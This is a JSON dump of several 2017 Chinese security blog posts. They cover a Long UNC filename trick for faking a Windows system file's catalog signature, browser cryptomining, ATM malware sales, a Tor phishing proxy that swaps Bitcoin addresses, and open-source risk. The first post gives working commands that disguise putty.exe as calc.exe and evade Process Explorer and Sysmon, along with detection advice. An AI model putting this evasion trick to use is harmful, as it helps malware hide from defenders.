data-caption=\"\" data-rawwidth=\"639\" data-rawheight=\"693\"><p>Long UNC文件伪造:</p><code lang=\"text\">type putty.exe &gt; \"?C:\\Windows\\System32\\calc.exe \"</code><p><b>注：</b></p><p>输出到c:\\windows\\system32需要管理员权限</p><p>特殊文件名必须放在目标的同级目录下，即C:\\Windows\\System32，否则启动失败</p><p>如下图，验证结论，特殊Long UNC能够复制文件属性</p><img src=\"v2-a6359c93abd3371351b845de007280ed.jpg\" data-caption=\"\" data-rawwidth=\"659\" data-rawheight=\"417\"><p>在之前的文章<a href=\"https://3gstudent.github.io/3gstudent.github.io/Hidden-Alternative-Data-Streams%E7%9A%84%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/\">《Hidden Alternative Data Streams的进阶利用技巧》</a>介绍过特殊文件名可用短文件名代替</p><p>获取短文件名：</p><code lang=\"text\">dir /x calc*.exe</code><p>如下图</p><img src=\"v2-1cc6640d2cad71892d9ed95e400f46c4.jpg\" data-caption=\"\" data-rawwidth=\"537\" data-rawheight=\"205\"><p>\"?C:\\Windows\\System32\\calc.exe \"可用短文件名CALC~1.EXE代替</p><p>使用sigcheck.exe查看该文件的catalog签名：</p><code lang=\"text\">sigcheck.exe -i \"?C:\\Windows\\System32\\calc.exe \"</code><p>or</p><code lang=\"text\">sigcheck.exe -i C:\\Windows\\System32\\CALC~1.EXE</code><p>如下图</p><img src=\"v2-72573260d96fbcf65fdf0efdb10b8cd7.jpg\" data-caption=\"\" data-rawwidth=\"1002\" data-rawheight=\"625\"><p>成功伪造catalog签名</p><p><b>测试2： 执行特殊Long UNC文件</b></p><p>1、无法双击执行</p><p>2、通过命令行</p><code lang=\"text\">\"?C:\\Windows\\System32\\calc.exe \"</code><p>提示系统找不到指定的路径</p><code lang=\"text\">C:\\Windows\\System32\\CALC~1.EXE</code><p>启动正常calc.exe</p><p>3、通过WMIC</p><code lang=\"text\">wmic process call create C:\\Windows\\System32\\CALC~1.exe</code><p>4、通过vbs</p><code lang=\"text\">Set objShell = CreateObject(\"Wscript.Shell\")objShell.Run \"c:\\windows\\system3alc~1.exe\"</code><p>5、通过js</p><code lang=\"text\">var wsh=new ActiveXObject(\"wscript.shell\");wsh.run(\"c:\\windows\\system32\\calc~1.exe\");</code><p>启动后，进程名为calc~1.exe</p><p><b>特别的地方：</b></p><p>通过Process Explorer验证进程签名，识别为calc.exe的默认微软证书</p><p>如下图</p><img src=\"v2-a0e9472cef7e87a7d6484a6bed9daeb1.jpg\" data-caption=\"\" data-rawwidth=\"994\" data-rawheight=\"569\"><p><b>注：</b></p><p>关于文件的描述，例如截图中的\"SSH, Telnet and Rlogin client\"可通过修改程序的资源进行伪造，方法暂略</p><p>得出结论： <b>执行特殊Long UNC文件能够欺骗Process Explorer的进程签名验证</b></p><p><b>补充：</b></p><p>能够欺骗Sysmon的部分日志监控功能，例如Process creation</p><p><b>测试3： 无法欺骗的工具</b></p><p>1、使用certutil.exe计算MD5</p><code lang=\"text\">certutil.exe -hashfile C:\\Windows\\System32\\calc.exe MD5certutil.exe -hashfile C:\\Windows\\System32\\calc~1.exe MD5</code><p><b>注：</b></p><code lang=\"text\">certutil.exe -hashfile \"?C:\\Windows\\System32\\calc.exe \" MD5</code><p>报错提示系统找不到文件</p><p>如下图</p><img src=\"v2-71bba9f8a7c2b9ec03e79e2bf2bb2386.jpg\" data-caption=\"\" data-rawwidth=\"589\" data-rawheight=\"180\"><p><b>测试4： 多个同名文件夹的生成</b></p><code lang=\"text\">type putty.exe &gt; \"?C:\\Windows\\System32\\calc.exe \"type putty.exe &gt; \"?C:\\Windows\\System32\\calc.exe  \"type putty.exe &gt; \"?C:\\Windows\\System32\\calc.exe   \"</code><p>如下图</p><img src=\"v2-b35e085890d08b297aa15270022b7ce4.jpg\" data-caption=\"\" data-rawwidth=\"644\" data-rawheight=\"336\"><p><b>测试5： 特殊Long UNC文件的删除</b></p><code lang=\"text\">del \"?C:\\Windows\\System32\\calc.exe \"</code><p>or</p><code lang=\"text\">del C:\\Windows\\System32\\CALC~1.exe</code><p><b>测试6： 其他系统测试</b></p><p>支持Win7-Win10</p><p>64位系统需要注意重定向问题</p><h2><b>0x04 利用分析</b></h2><p>利用特殊Long UNC文件名欺骗系统对文件路径的判断，实现伪造catalog签名</p><p><b>特点：</b></p><p>欺骗系统对文件名的检查，将文件伪造成系统文件，伪造catalog签名</p><p><b>防御检测：</b></p><p>1、权限控制</p><p>欺骗系统文件，需要有系统文件夹的可写权限</p><p>2、文件识别</p><p>同级目录同名文件</p><p>3、进程名判断</p><p>特殊进程名，格式为短文件名，例如CALC~1.EXE</p><p>4、工具检测</p><p>使用certutil.exe校验文件hash</p><h2><b>0x05 小结</b></h2><p>本文介绍了利用特殊Long UNC文件名欺骗系统并获得Catalog签名的技巧，分析利用方法，分享防御思路</p><blockquote>本文为 3gtudent 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑： <a href=\"http://www.4hou.com/web/8034.html\">http://www.4hou.com/web/8034.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-19T02:34:30.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":2,"state":"published","isLiked":false,"slug":"30255849","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-19T10:34:30+08:00","links":{"comments":"/api/posts/30255849/comments"},"url":"/p/30255849","titleImage":"","summary":"","href":"/api/posts/30255849","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":2},"30257964":{"title":"浏览器挖坑活动总结","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-6448bdaf847daac9b97b4587920f8e58.jpg\" data-caption=\"\" data-rawwidth=\"600\" data-rawheight=\"126\"><p>先说一个统计数字，不过不要吓到宝宝哦！目前加密货币挖掘已影响5亿多用户了，但很不幸的是，这些行为都进行的很隐蔽，很多用户并没有发现他们的设备被用作了挖矿，比如前几天刚发现的Chrome扩展不但用你的Gmail注册域名还会注入挖矿代码。</p><p>在Alexa排名前十万的网站列表中，我查找了利用CoinHive和JSEcoin恶意挖矿代码的网站，发现目前利用这两个手段进行挖矿，是最受欢迎的浏览器挖掘手段了。</p><img src=\"v2-a1acb2beedb42c0b150cf9de68e4146a.jpg\" data-caption=\"\" data-rawwidth=\"800\" data-rawheight=\"844\"><p>如上图所示，Alexa TOP前十万的网页中，0.22％的网页都这么做了，也就是说有220个站点都用的是CoinHive和JSEcoin，涉及的用户约为5亿。这些受影响的用户分布在世界各地，比如美国，中国，南美和欧洲国家，俄罗斯，印度，伊朗……</p><img src=\"v2-616bb9e36e65e9e5ab87e2f4e1b4208b.jpg\" data-caption=\"\" data-rawwidth=\"800\" data-rawheight=\"627\"><p>虽然，220个网站可能看起来不是很多。但你要知道这一过程仅仅是过去三周统计的数字，而且所获取的收入达到了4.3万美元，如果你觉得这个收入不值得一提的话，那我要告诉你CoinHive刚刚在9月14日发布，到现在刚刚满一个月。而且这4.3万美元的收入成本为0，这意味着利用CoinHive和JSEcoin所获得的都是纯利润。</p><p>CoinHive最初发布的时候，开发者表示这可以用来成为一种摆脱烦人的在线广告，并让站点获得盈利的新方式。这种网站变现方式的优势就在于它可以避免在网站上挂一些恶心的广告来实现盈利，劣势就是它会占用用户的 CPU，并且增加耗电量，严重者造成访问者电脑卡顿！（小编不建议使用这个）。</p><p>仔细检查这220个网站，我发现其中许多网站来与“灰色地带”的业务相关，比如从事视频业务的网站The Pirate Bay（海盗湾），种子下载和色情服务的网站。此前，海盗湾就承认自己在测试网页挖矿，目的是考虑取代广告收益，然后做成无广告的站点。</p><p>所以我的观点是，这种浏览器挖掘不管打着什么旗号出来，都应该被当成一种恶意攻击，被预防。</p><img src=\"v2-98c337a935322fe32eac14c3d6c4f837.jpg\" data-caption=\"\" data-rawwidth=\"800\" data-rawheight=\"743\"><p>挖掘网站很盛行的另一个原因是，浏览器挖掘主要是在一些非主流的网站上发现的。这些网站传统上很难通过自身的广告效应进行盈利，所以它们的开发者对实验和创新持开放态度。其中，以色情网站最甚，许多新的技术实际上都是借助色情网站测试的，过一段时间才被其他网站借用过来。</p><p>事实上，除了非主流的网站在使用CoinHive外，目前映像最大的就是Showtime网站了。由于该网站是知名网站，可以合法盈利，因此它的这种行为使其受到了比之前被曝光的海盗湾网站更严厉的批评。Coinhive也发表了声明，指责了这种行为，并将在今后进行更加严格的管理。</p><p>海盗湾这么做其实还可以理解，因为其内容是非法的，需要寻找除广告以外的收入来源。但是Showtime的网站是合法的，可以光明正大做广告，却还是想用这种方法增加收入。受Coinhive影响的是Showtime的两个网站——showtime.com和showtimeanytime.com。据Showtime称，Coinhive被作为广告条的替代品，是网站所有者绕过讨厌的广告拦截器的一种方式。</p><p>Coinhive会从使用其服务的网站中抽取30%的收益，剩余部分会被发送到使用该脚本的网站。</p><p>客观地讲，浏览器挖掘本身并不是一件坏事，因为一个工具和技术无所谓好坏之分，关键看你是出于什么目的来使用了。</p><h2><b>一个有趣的调查</b></h2><p>当海盗湾被抓到使用类似脚本时，他们对自己未经许可就利用其用户处理能力进行秘密活动的行为表示了歉意。然而，后来，当海盗湾发布了一个调查，询问用户倾向于广告还是加密挖矿时，挖矿获得了压倒性支持。</p><p>Coinhive也发出了以下声明：</p><blockquote>看到一些客户在网页中使用Coinhive，但没有告诉用户实情，更没有征求用户同意，我们对此深感难过。</blockquote><p>接下来，Coinhive会要求浏览网站的人获得许可后才能开采其CPU。</p><p>也就是说，如果运行商在进行挖矿之前，只要征得用户的同意，那这种行为就比那些随意弹出的广告行为要道德的多。因为相比于广告，用户可以对是否接受挖矿有自主选择权，如果你不愿意你完全可以不让对方使用你的CPU。</p><p>不过这也会带来新的问题，就是运营商在使用你的CPU时，可能会造成你的数据泄露。</p><h2><b>对恶意使用Coinhive的防范</b></h2><p>在扫描发现的许多网站上，Coinhive的脚本路径都是被秘密上传的。</p><p>通过目前对许多运行Coinhive脚本的网站进行的调查发现，这些网站的管理者也不知道是谁将其添加到他们网站上的。在和我进行了交流后，这些网站已经删除了其中隐藏的采矿代码，更新了他们的安全政策，并调查代码是如何被植入的。比如每月访问量为60万的uptobox.com就出现这样事情，在我发稿时，他们已经删除了CoinHive代码。</p><p>Coinhive的开发者表示，他们也采取了针对恶意使用的行动：</p><blockquote>我们在不知情的情况下，让一些早期用户在被黑客入侵的网站上运行了该脚本。我们已经禁止了其中的几个账户，接下来还会继续禁止一些账户，直到我们弄清这些情况。</blockquote><p>由于以一种大规模的分布方式使用他人设备，对黑客们来说有着巨大的吸引力，所以除了主动防御外，Coinhive还鼓励人们举报对其的恶意使用，并且表示任何使用它的网站都应该告知用户其计算机会参与到某个采矿计划中。现在，一些杀毒软件和广告拦截器还将浏览器挖掘加入了黑名单。比如，在开始使用采矿脚本后，提供安全服务的Cloudflare也暂停了一些客户的账户。他们是这样解释的：</p><blockquote>如果访问者没有征求用户的同意，那Cloudflare就会将相关代码设定为恶意软件。</blockquote><p>另外广告拦截软件AdGuard也升级了自己的拦截程序，以限制采矿行为。不过AdGuard并没有通过被动阻止来进行防御，而是提供了一些安全选择，比如用户可以在其上选择禁止在其浏览器中启动采矿或对特定的网站赋予采矿的权限，这样就可以防止隐藏的挖掘。</p><img src=\"v2-7d6809ddc40ac3f9547063b93e69edc7.jpg\" data-caption=\"\" data-rawwidth=\"800\" data-rawheight=\"776\"><h2><b>总结</b></h2><p>就像开头所说的那样，Coinhive的出发点是好的，不过如果一直被滥用下去的话，那它将彻底沦为恶意工具。不过我认为未来Coinhive还是很有发展空间的，理由有三个：</p><p>1. 加密货币迅速增长已是大趋势，随着它们的行业产值越来越大，相信挖矿业也会发展起来的。</p><p>2. 虽然挖矿业可能不会带来巨额利润，但可能会让人人都参与进来。</p><p>3.广告似乎是个不令人待见的产物，任何能替代广告的创新都是件令人欣喜的事情。这从目前越来越多的人使用广告拦截器就可以看出端倪。虽然，挖矿和广告一样都会滥用用户的设备资源，但由于每个网站的吸金效应不同，所以就造成很多不公平，而挖矿可以让每个运行商都可以平等的获取得到资源的机会。</p><p>这就是为什么我建议把挖矿从地下作业转到地上作业的原因，只有处于阳光下的操作，才会让我们更加安全。</p><blockquote>如若转载，请注明原文地址： <a href=\"http://www.4hou.com/web/8033.html\">http://www.4hou.com/web/8033.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-19T02:45:26.000Z","canComment":false,"commentPermission":"anyone","commentCount":1,"likeCount":6,"state":"published","isLiked":false,"slug":"30257964","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-19T10:45:26+08:00","links":{"comments":"/api/posts/30257964/comments"},"url":"/p/30257964","titleImage":"","summary":"","href":"/api/posts/30257964","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":1,"likesCount":6},"30258315":{"title":"ATM机即将沦陷，地下黑市正在出售ATM恶意软件","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-0e73e7fbc91ff01c9ecdba64cc84818c.jpg\" data-caption=\"\" data-rawwidth=\"939\" data-rawheight=\"593\"><p>随着黑科技的发展，现如今入侵ATM机已经变得越来越简单了。以前，黑客要想入侵ATM机，通常需要利用硬件和软件漏洞，然后强制它把钱吐出来。但现在有人研究出了一款恶意软件，任何人都可以窃取ATM机中的现金了。</p><p>卡巴斯基实验室首先发现了该恶意软件的恶性传播，这种恶意软件叫做Cutlet Maker，目前已经在地下黑客论坛上出售，售价5000美元，任何人都可以购买。</p><p>地下黑客论坛上提供了一段简短的介绍，还有一个较为详尽的工具小册子。据描述，Cutlet Maker可对多种不同的ATM机进行攻击，而且攻击者完全不需要受害者的任何配合。它可以直接攻击ATM机，让它自动吐钱，所以银行客户不会受直接影响。</p><p>小册子上还提及了一个不太著名的ATM恶意软件——Tyupkin，这是一个2014年被卡巴斯基发现的恶意软件，曾被国际网络犯罪组织用于发动Jackpotting攻击，攫取数百万的利润。</p><p>小册子中的网络犯罪软件包括：</p><code lang=\"text\">Cutlet Maker：一款比较好用的ATM恶意软件\nStimulator：一种可以收集目标ATM机现金盒状态的应用程序\nc0decalc：一个简单的终端应用，可以为恶意软件生成密码</code><p>根据卡巴斯基的安全研究员介绍，从Cutlet Maker恶意软件的功能来看，幕后主要有两个操纵者，一个是“drop”，另一个是“drop master”。</p><p>卡巴斯基实验室的安全研究员指出：</p><blockquote>访问Cutlet Maker的分发机制发现，它是受密码保护的。然后c0decalc可能只有一个运营人员。另外，不管是网络访问ATM机还是物理访问ATM机，都需要在软件运行范围内输入密码，还需要用户的交互作用。</blockquote><p>如果想运行恶意软件，还需要一个特殊的二进制编码（ATM API的一部分，用于控制自动提款机）。也就是说，网络犯罪者正在使用一种看似合法的方式从自动提款机中窃取金钱。</p><p><b>友情提醒</b>：挣钱需要正当途径，非法途径不可取。</p><blockquote>如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/8042.html\">http://www.4hou.com/info/news/8042.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-19T02:50:35.000Z","canComment":false,"commentPermission":"anyone","commentCount":1,"likeCount":12,"state":"published","isLiked":false,"slug":"30258315","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-19T10:50:35+08:00","links":{"comments":"/api/posts/30258315/comments"},"url":"/p/30258315","titleImage":"","summary":"","href":"/api/posts/30258315","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":1,"likesCount":12},"30291097":{"title":"如何通过伪造Tor隐藏服务进行钓鱼？","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-ed4e6319d955eb8a6b9b140e11b3ddf1.jpg\" data-caption=\"\" data-rawwidth=\"492\" data-rawheight=\"306\"><p>经过调查，作为Tor隐藏服务的一种，10％的Tor用户使用了其中的SMS隐私服务。不过就是这么一个服务却被黑客钻了空子，本文就给你详细介绍一下黑客是如何通过伪造Tor隐藏服务来进行钓鱼的。</p><h2><b>案例回顾</b></h2><p>有一天我在谷歌搜索”site:*.onion.to smsprivacy”时，却出现了一个意想不到的结果。正常情况下，搜索出的合法的隐藏服务名称应该是smspriv6fynj23u6.onion，但奇怪的是当天的搜索结果却为smsprivyevs6xn6z.onion。</p><p>通过简单的分析，我发现smsprivyevs6xn6z.onion仅是一个简单的代理站点，因为发送到钓鱼网站的页面请求被转发给了真正的隐藏服务，而且除了一些特殊的性能之外，这些响应还被转发了。</p><h2><b>Content-Length标头丢失</b></h2><p>Content-Length标头会告诉HTTP客户端需要多少字节的内容，不过对于代理服务器来说它只会通过固定的字节内容来进行内容传递或者是保持Content-Length标头不变进行传递。因为它知道，如果内容不改变标头长度也不会改变。这很可能是代理服务器在某些情况下会对内容长度进行的修改，不过我就奇怪了，为什么在内容修改时，它不直接编写与修改内容对应的内容长度呢?</p><p>我猜测有两个原因：</p><code lang=\"text\">1.一个可能是为了减少页面加载时间，如果代理站点不需要提前对内容长度作出预判，那它就可以直接向客户端传输内容，并按照它的方式进行修改。假如它必须读取所有的内容，才会执行修改，那么随后发送的所有内容就会增加页面加载时间，从而暴露自己。\n2.另一个可能是，恶意开发者要将所有内容存储成不可接收的内存负载（load memory）。如果同一个服务器代理数十到数百个其他隐藏的服务，那这种可能性猜测就是合理的。</code><h2><b>Connection标头错误</b></h2><p>以下是合法站点和钓鱼站点情况下的响应标头的比较：</p><code lang=\"text\">$ torsocks curl -I http://smspriv6fynj23u6.onion/\nHTTP/1.1 200 OK\nServer: nginx/1.10.2\nDate: Fri, 13 Oct 2017 05:37:49 GMT\nContent-Type: text/html;charset=UTF-8\nContent-Length: 7387\nConnection: keep-alive\nSet-Cookie: [...]\nX-Frame-Options: DENY</code><p>合法站点的响应标头</p><code lang=\"text\">$ torsocks curl -I http://smsprivyevs6xn6z.onion/\nHTTP/1.1 200 OK\nServer: nginx/1.10.2\nDate: Fri, 13 Oct 2017 05:37:57 GMT\nContent-Type: text/html;charset=UTF-8\nConnection: [object Object]\nSet-Cookie: [...]\nX-Frame-Options: DENY</code><p>钓鱼站点的响应标头</p><p>Connection标头从keep-alive重写为[object Object]。如果对象不执行toString()，那么当你将对象转换为字符串时，在javascript中得到的结果就如上图中钓鱼站点的响应标头那样，这可能就是编写代理服务器运行软件的一个思路。</p><p>很可能它使用了Node.js，Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。因为我无法发现任何会在node-http-proxy或Harmon（node-http-proxy的中间件修改响应）中导致此错误的任何内容。当然这可能是完全基于传统习惯的猜测，如果你知道有任何能将Connection标头设置为[object Object]的软件漏洞，请@我。</p><h2><b>有一些意想不到的javascript文件缓存(可能还有其他缓存)</b></h2><p>我添加了一些Javascript来检测页面是否运行在一个流氓域中，如果是这样的话，请将document.referrer发送给我，以便稍后再阅读。我发现在使用合法站点时，我的脚本在浏览器中被修改了，但是在使用钓鱼站点时却使用了一个过时的版本，所以我相信钓鱼站点正在进行一些额外的缓存。这可能是为了减少页面加载时间。</p><p>在写这篇文章的时候，我试着研究了这个缓存，还别说，我还真发现了许多有趣的东西!比如，代理可以将所有的内容从我的跟踪脚本中删除，这样我就不能得到更多关于它们的信息。这很容易通过重新命名脚本和稍微修改内容来修复。</p><h2><b>隐藏的服务地址已更改</b></h2><p>代理似乎将smspriv6fynj23u6.onion的所有实例重写为smsprivyevs6xn6z.onion，但有趣的是，它对大写的实例并不做同样的处理。</p><h2><b>比特币地址被更改</b></h2><p>修改比特币地址是钓鱼网站的真正目的，通常情况下，网络钓鱼网站都会盗取用户帐户，随后再重新利用这些数据或将其出售，但是对于smsprivyevs6xn6z.onion来说，它采用了更直接的方法简单地将比特币地址重写为黑客控制的地址。</p><p>修改比特币地址的过程是这样的：当用户第一次被导航到付款页面时，在页面加载之前会出现一个延迟，不过该延迟用户是察觉不到的。也就是在这个时间里，黑客会在后端生成新的比特币地址，能在如此短的时间里完成整个操作意味着这个新的比特币地址是运行在一个巨大的缺少索引地址的数据库中，或者这个新的比特币地址是在一台运行较慢的设备上生成的，又或者这个新的比特币地址是由慢速语言编写的代码生成的，如果是这样，那么RNG可能不安全。以文本形式显示的所有比特币地址都将重写为攻击者控制的地址，并且合法地址和钓鱼地址之间似乎存在对应的映射关系。值得注意的是，QR码仍会保持不变，继续解码为合法地址。</p><p>为了验证我的猜测并方便继续深入调查，我假装受害者给黑客付款了，付款地址为1GM6Awv28kSfzak2Y7Pj1NRdWiXshMwdGW。由于该地址没有出现在网站上，这更加证明了我对smsprivyevs6xn6z.onion是一个愚蠢代理的猜测。不过这笔钱我是还没有真正的花出去，但如果真的付款了，看看它的真正去向可能会很有趣。</p><h2><b>网站如何分配给用户？</b></h2><p>我从Javascript中看到了一些不同的结果，在未被识别的域中，将引用者发送到服务器上。大多数情况下，人们主要是通过网络代理(例如，onion.link)查看隐藏的服务，而且我也确实发现了2个隐藏的服务，分别是7cbqhjnpcgixggts.onion和hss3uro2hsxfogfq.onion。</p><p>7cbqhjnpcgixggts.onion又名”The onion crate”，这是Tor隐藏的服务列表，就像olden day的” web directory”，但对Tor来说，实施钓鱼的版本也被标记为”Phishing link”。</p><p>hss3uro2hsxfogfq.onion又名”not Evil”，这是Tor隐藏服务的搜索引擎。搜索”sms privacy”会在网站顶部和钓鱼网站上找到合法的网站。虽然我在钓鱼站点旁边的”report abuse”进行了确认操作，但它还没有被删除。</p><p>然而，我还是没有找到真正的原因。我希望能找到一个含有钓鱼链接，而不是真实链接的推特或博文。”The onion crate”背后的人不太可能对实施钓鱼的攻击者负责。如果我想让人们使用我的钓鱼网站，我才不会把它标记为”钓鱼链接”。所以我猜测，操作”not Evil”的搜索引擎的人可能就是幕后的攻击者。如果我打算让人们去登录我的钓鱼链接，我压根就不会在搜索的结果中将它暴露出来。</p><p>我猜测，之所以能出现这么明显的攻击漏洞，很可能是真正的网络钓鱼活动还没有开始。不过”The onion crate”将钓鱼链接标记为2017-05-17，这意味着该钓鱼已经存在了一段时间。</p><p>请注意<a href=\"https://www.reddit.com/r/TOR/comments/765ynn/someone_created_a_tor_hidden_service_to_phish_my/docuqn5/\">/u/vghetto</a>在reddit社交新闻上的回复，他表示这个”The onion crate” 的实例本身也是一个钓鱼的链接。</p><h2><b>寻找真正的幕后操作者</b></h2><p>最有可能的情况是，这仅仅是一个普通的网络犯罪分子写的一个代理，然后用他自己的地址替换了比特币地址，从而为各种隐藏的服务生成看似合理的隐藏服务地址，进而获利。</p><p>起初，我认为这可能是政府的某个情报部门进行的监控活动，他们通过短信隐私来监控用户。但根据分析这种情况不太可能，因为如果要进行秘密监控的话，他们是不会改变比特币地址的，因为这样会让站点不再有效。所以我认为更有可能是普通的网络犯罪者为了监控某个特定的用户群而开发的一个钓鱼网站。</p><p>与传统的网络钓鱼网站相比，钓鱼隐藏服务要容易实现的多，因为没有简单的方法来定位隐藏的服务器，没有集中的命名系统，这意味着即使合法的网站在地址中也有随机字符。获得看似合理的地址比较容易，但要做到让你的钓鱼网站被发现后，还没有人有能力撤销你的域名或关闭你的主机就比较难了。虽然这种犯罪方式比较完美，但还是有个缺点，就是这种攻击所针对的用户群往往都精通电脑技术，相对于普通人群来说，他们受骗的几率很小。</p><h2><b>缓解措施</b></h2><p>SMS隐私客户应确保他们使用HTTPS浏览smsprivacy.org，或者如果使用Tor，则smspriv6fynj23u6.onion是唯一合法的隐藏服务，其他的链接都是有害的。</p><h2><b>目前有人被攻击吗？</b></h2><p>截止发稿，还没有人联系我，说他遭遇了此类攻击。不过这并不代表，没有人被攻击，有可能用户是在无意中浏览了该钓鱼网站，但他并不知道，这代表目前还没有大规模的攻击后果发生。</p><h2><b>进一步的调查</b></h2><p>我猜运行这个代理的软件也代理许多其他隐藏的服务，按照正常的逻辑，如果开发者为一个隐藏的服务编写了一些代理代码，而且这个代码可以不断地重复使用，那谁不想多赚点钱，把尽可能多的比特币地址重写为自己的地址。</p><code lang=\"text\">$ torsocks curl -I -H 'Host: smsprivyevs6xn6z.onion' http://cboc66yz75virnj7.onion\nHTTP/1.1 200 OK\nServer: nginx/1.10.2\nDate: Fri, 13 Oct 2017 16:26:10 GMT\nContent-Type: text/html;charset=UTF-8\nConnection: [object Object]\nSet-Cookie: mojolicious=eyJsYW5kaW5nX3VybCI6Ii8iLCJhYnRlc3RzIjp7ImxhbmRpbmdfdXJsIjoiLyIsInNpZ251cGxpbmsiOiJvcmlnaW5hbCIsInJlZmVyX3NyYyI6Im5vbmUiLCJoaWRkZW5fc2VydmljZSI6ImhpZGRlbiJ9LCJleHBpcmVzIjoxNTA3OTE1NzE1LCJjc3JmX3Rva2VuIjoiZmQzNjc4NzcyMjRiNDZkZWZhYjNhM2ViZDIwMDY0ZmRmMDliZmQ0NCIsImFidGVzdHNfc2Vzc2lvbmlkIjoiOGM4NWQxMTZjMmE1MTBkOSJ9--785fbe83dce1217e74543ed831eb4c18c1cd6105; expires=Fri, 13 Oct 2017 17:28:35 GMT; path=/; HttpOnly\nX-Frame-Options: DENY</code><p>事实上，如果能找到其他Tor隐藏服务的网络钓鱼网站进行对比可能更有趣，这样就能看看它们是否共享某种相同的特性，比如Connection: [object Object], Content-Length的丢失，重写隐藏在小写的服务地址，当比特币地址首次显示时发生延迟，为未知主机名提供500响应。</p><p>于是我尝试着探测漏洞，看看是否能找到被代理的隐藏服务的完整列表。有可能在代理代码中就完成了主机名的选择，这意味着请求不同网络钓鱼站点的主机名可能会返回其他钓鱼站点的内容！这将是一个非常明显的攻击指标。</p><blockquote>本文翻译自：http://incoherency.co.uk/blog/stories/hidden-service-phishing.html ，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/web/8057.html\">http://www.4hou.com/web/8057.html</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-20T02:32:23.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":7,"state":"published","isLiked":false,"slug":"30291097","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-20T10:32:23+08:00","links":{"comments":"/api/posts/30291097/comments"},"url":"/p/30291097","titleImage":"","summary":"","href":"/api/posts/30291097","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":7},"30291768":{"title":"企业使用开源软件风险的分析","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-6ce6d41cdf8081aca1d77da758c8b099.jpg\" data-caption=\"\" data-rawwidth=\"400\" data-rawheight=\"217\"><p>虽然开源软件（OSS）可以帮助软件供应商去更灵活的构建产品，但我们仍然认为软件供应商和IoT制造商都有必要去了解一下隐藏在软件供应链中的风险。</p><h2><b>已知风险</b></h2><p>例如，犯罪分子就完全可以利用Apache Struts CVE-2017-5638漏洞来获取Equifax客户的个人资料。众所周知，Apache Struts是一种广泛使用的开源组件 – Web服务器的框架，它可以用于接收和提供公司内部系统中的商业数据。归根到底，还是因为这个开源组件所存在的漏洞以致于使其成为网络攻击的主要目标。</p><h2><b>主要发现</b></h2><p>根据Flexera的一份最新报告显示，在商业和IoT软件产品中所发现的代码有百分之五十都是与开源软件有关的。但调查显示只有37％的受访者表示曾获取并使用开源软件。而63％的公司说，他们并没有获取或使用开源软件，或者说他们根本就不知道有这种情况的存在。</p><p>并且据了解，目前基本没有人对开源软件的安全性负责：39％的受访者表示，在他们公司内部没有人会对开源软件的安全性负责，或者可以说他们压根就不知道应该是由谁来负责。</p><p>除此之外，开源软件的贡献者也不是遵循最佳实践：33％的受访者表示自己的公司曾为开源项目做出了贡献。但是，又有63％的受访者表示他们的公司压根并没有开源采购或使用政策，当然也有43％的受访者表示自己本身对开源项目也有做出贡献。</p><p>不管怎样，我们都不能忽视开源确实是一个明显的捷径。 Flexera产品管理副总裁Jeff Luszcz表示：</p><blockquote>“完全开源可获取的代码可以快速获得产品，这对于软件开发的快速节奏来说非常重要。” “然而，大多数软件工程师并没有在私下里去跟踪开源的使用情况，而且有绝大部分的软件高管都没有意识到其安全/合规风险方面存在一定差距。”</blockquote><p>事实上，对于开源软件使用过程中的安全合规、许可等流程可能远比简单的拿来用要方便的多，但这些流程毫无疑问是必不可少的。</p><p>“开源软件的安全合规流程能够很好的保护产品和品牌声誉。但大多数软件和IoT厂商都没有意识到存在的问题，所以他们并没有保护自己和客户，”Luszcz说，“对于暴露产品合规性和漏洞风险的供应商，还有那些压根就不知道他们运行开放源代码和其他第三方软件的客户，甚至可能是包含软件漏洞的客户 ，这些都是会危及到整个软件供应链。”</p><blockquote>本文翻译自： https://www.helpnetsecurity.com/2017/10/17/open-source-risk/ ，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/observation/8088.html\">http://www.4hou.com/info/observation/8088.html</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-20T02:40:19.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":0,"state":"published","isLiked":false,"slug":"30291768","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-20T10:40:19+08:00","links":{"comments":"/api/posts/30291768/comments"},"url":"/p/30291768","titleImage":"","summary":"","href":"/api/posts/30291768","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":0},"30291905":{"title":"如何用一种最简单的方式分析恶意软件","author":"hou-hou-4-12","content":"<h2><b>介绍</b></h2><p>分析恶意软件通常需要代码逆向能力。</p><p>可执行文件经常被编码以避免检测。例如，许多恶意Word文档具有嵌入式可执行有效内容，这是基于base64编码的（或其他一些编码）。为了理解编码，并且能够对有效载荷进行解码以进行进一步分析，经常执行宏代码的逆向。</p><p>但代码逆向并不是唯一可能的解决方案。这里我们将描述一种可以应用于某些恶意软件